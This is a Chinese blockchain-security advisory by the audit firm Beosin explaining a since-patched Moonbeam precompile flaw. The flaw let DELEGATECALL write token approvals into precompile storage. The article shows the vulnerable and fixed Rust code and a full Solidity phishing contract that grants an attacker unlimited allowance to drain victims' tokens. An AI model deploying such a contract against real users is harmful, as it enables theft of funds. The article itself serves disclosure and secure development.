安全审计系列 | 一文看懂什么是预编译合约漏洞?

Beosin
Beosin 机构得得号

Mar 30, 2023 Beosin是总部位于新加坡的全球知名区块链安全公司,为区块链生态提供代码安全审计,安全风险监控、预警与阻断,虚拟资产被盗追回,KYT/AML等“一站式”安全产品+服务,已为全球2000多个区块链企业服务,保护客户资产5000多亿美元。

摘要: 跟着Beosin安全研究团队来看一下该漏洞的利用原理与实现过程。

2022年5月,白帽组织pwning.eth向Moonbeam提交了一个关于预编译合约的严重漏洞,该漏洞能使得攻击者任意转移他人资产,当时该漏洞所影响资金高达1亿美元。

据了解,该漏洞涉及对非标准以太坊预编译的调用。这些地址允许EVM通过智能合约访问Moonbeam的一些核心功能(如XC-20、质押和民主pallet),这些功能并不存在于基础的EVM中。通过DELEGATECALL,一个恶意的智能合约可以回调访问另一方的预编译存储。

普通用户不会遇到这个问题,这需要他们主动向该恶意智能合约发送交易。然而,对于其他允许任意调用外部智能合约的智能合约来说(比如部分允许回调的智能合约),这是一个问题。在这些情况下,不法使用者能对DEX执行对恶意智能合约的调用,该智能合约将能够访问伪装DEX的预编译,并可能将合约中的余额转移到任何其他地址。

接下来跟着Beosin安全研究团队来看一下该漏洞的利用原理与实现过程。

什么是预编译合约?

在EVM中,一份合约代码会被解释成一个个的指令并执行,在每条指令执行过程中,EVM都会对执行条件进行检查,也就是gas费是否充足,若gas不足,则会抛出错误。

EVM虚拟机在执行交易的过程中数据存储并不是基于寄存器,而是基于栈的操作,每次数据读写操作都必须从栈顶开始,所以导致其运行效率非常低,加上每一条指令都需要进行运行检查,那么在对一个相对复杂的运算进行执行时,可能需要大量的时间成本,而在区块链中,正需要很多这种复杂的运算,例如加密函数、哈希函数等,导致很多函数在EVM环境中执行是不现实的。

预编译合约便是EVM为了一些不适合在EVM中执行的较为复杂的库函数(多用于加密、哈希等复杂运算)而设计的一种折中方案,主要用于一些计算复杂但逻辑简单且调用频繁的一些函数或逻辑固定的合约。

部署预编译合约需要发起EIP提案,审核通过后将同步到各个客户端。例如以太坊实现的某些预编译合约:ercecover()(椭圆曲线公钥恢复,地址0x1)、sha256hash()(Sha256Hash计算,地址0x2)、ripemd160hash()(Ripemd160Hash计算,地址0x3)等,这些函数都被设置成了一个固定的gas花费,而不用在调用过程中按照字节码进行gas计算,大大降低了时间成本与gas成本。并且由于预编译合约通常是在客户端用客户端代码实现,不需要使用EVM,所以运行速度快。

关于Moonbeam项目漏洞

在Moonbeam项目中,Balance ERC-20 precompile 提供了一个 ERC-20 接口来处理 balance的原生代币,合约可以使用address.call的方式对预编译合约进行调用,此处address为预编译地址,下列是moonbeam修复之前的代码预编译合约调用的代码。

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> { match handle.code_address() { // Ethereum precompiles : a if a == hash(1) => Some(ECRecover::execute(handle)), a if a == hash(2) => Some(Sha256::execute(handle)), a if a == hash(3) => Some(Ripemd160::execute(handle)), a if a == hash(5) => Some(Modexp::execute(handle)), a if a == hash(4) => Some(Identity::execute(handle)), a if a == hash(6) => Some(Bn128Add::execute(handle)), a if a == hash(7) => Some(Bn128Mul::execute(handle)), a if a == hash(8) => Some(Bn128Pairing::execute(handle)), a if a == hash(9) => Some(Blake2F::execute(handle)), a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)), a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)), a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)), a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)), a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)), a if a == hash(2050) => Some( Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle), ), a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)), a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)), a if a == hash(2053) => Some(RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)), a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)), a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)), a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)), // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new() .execute(handle) } // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle) } _ => None, }}

上述代码是由Rust语言实现的moonbase预编译合约集的执行方法(fn execute()),该方法会匹配调用的预编译合约地址,然后交由不同的预编译合约去处理输入的data。执行方法传入的handle(预编译交互句柄)包括了call(call_data)中的相关内容,以及交易上下文信息等。

因此当要调用ERC20预编译代币合约时,需通过0x000...00802.call(“fanction(type)”,parameter)的方式(0x802=2050),便能调用ERC20预编译代币合约的相关函数。

但上述moonbase预编译合约集的执行方法存在一个问题,即未检查其他合约的调用方式。如果使用delegatecall(call_data)而不是call(call_data)的方式调用预编译合约及,便会出现问题。

接下来我们先看一下使用delegatecall(call_data)和call(call_data)的区别:

1.使用EOA账户在合约A中利用address.call(call_data)调用另一个合约B的函数时,执行环境是在合约B中,使用的调用者信息(msg)是合约A,如下图。 

2.利用delegatecall调用时,执行环境是在合约A中,使用的调用者信息(msg)是EOA,而无法修改合约B中的存储数据。如下图。

无论通过什么方式调用,EOA信息和合约B无法通过合约A绑定到一起,这使得合约之间的调用是安全的。
因此由于moonbase预编译合约集的执行方法(fn execute())未检查调用的方式。那么当使用delegatecall去调用预编译合约,也会在预编译合约中去执行相关方法并写入预编译合约的存储中。即如下图所示,当EOA账户去调用了一个攻击者编写的恶意合约A,A中使用delegatecall的方式去调用了预编译合约B。这将会在A和B中同时写入调用后的数据,实现钓鱼攻击。

漏洞利用过程

攻击者可以部署以下钓鱼合约,并通过钓鱼等方式诱使受害用户调用钓鱼函数-uniswapV2Call,而函数会再次调用实现了delegatecall(token_approve)的stealLater函数。

根据上述介绍规则,攻击合约调用代币合约的approve函数授权(asset=0x000...00802),当用户调用uniswapV2Call之后,会在钓鱼合约和预编译合约的storage中同时写入授权,攻击者只用调用预编译合约的transferfrom函数便可将用户代币全部转移出去。

pragma solidity >=0.8.0;
contract ExploitFlashSwap {address asset;address beneficiary;constructor(address _asset, address _beneficiary) {asset = _asset;beneficiary = _beneficiary;}function stealLater() external {(bool success,) = asset.delegatecall(abi.encodeWithSignature("approve(address,uint256)",beneficiary,(uint256)(int256(-1))));require(success,"approve");}
function uniswapV2Call(address sender,uint amount0,uint amount1,bytes calldata data) external {stealLater();}}

漏洞修复

随后开发者在moonbase预编译合约集的执行方法(fn execute())中判断了EVM执行环境的地址是否和预编译地址一致,以确保只能使用call()方式对0x000...00009地址以后的预编译合约合约进行调用,项目方修复之后的代码如下:

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> { // Filter known precompile addresses except Ethereum officials if self.is_precompile(handle.code_address()) && handle.code_address() > hash(9) && handle.code_address() != handle.context().address { return Some(Err(revert( "cannot be called with DELEGATECALL or CALLCODE", ))); }
match handle.code_address() {......

安全建议

关于这个问题,Beosin安全团队建议,项目方在项目开发过程中需要考虑到delegatecall和call的不同之处,被调用合约能通过delegatecall进行调用的,需要全方位思考其应用场景以及底层原理,做好严格的代码测试。建议在项目上线前,寻找专业的区块链审计公司进行全面的安全审计。

Beosin作为一家全球领先的区块链安全公司,在全球10多个国家和地区设立了分部,业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务,目前已为全球3000多个区块链企业提供安全技术服务,审计智能合约超过3000份,保护客户资产高达5000多亿美元。欢迎点击公众号留言框,与我们联系。

链得得仅提供相关信息展示,不构成任何投资建议
本文系作者 Beosin 授权链得得发表,并经链得得编辑,转载请注明出处、作者和本文链接

更多精彩内容,关注链得得微信号(ID:ChainDD),或者下载链得得App

分享到:

相关推荐

    评论(0

    Oh! no

    您是否确认要删除该条评论吗?

    分享到微信